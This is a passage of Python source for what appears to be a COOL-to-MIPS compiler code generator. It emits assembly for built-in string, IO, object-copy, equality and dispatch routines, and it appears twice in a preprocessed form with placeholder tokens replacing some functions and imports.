$v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n 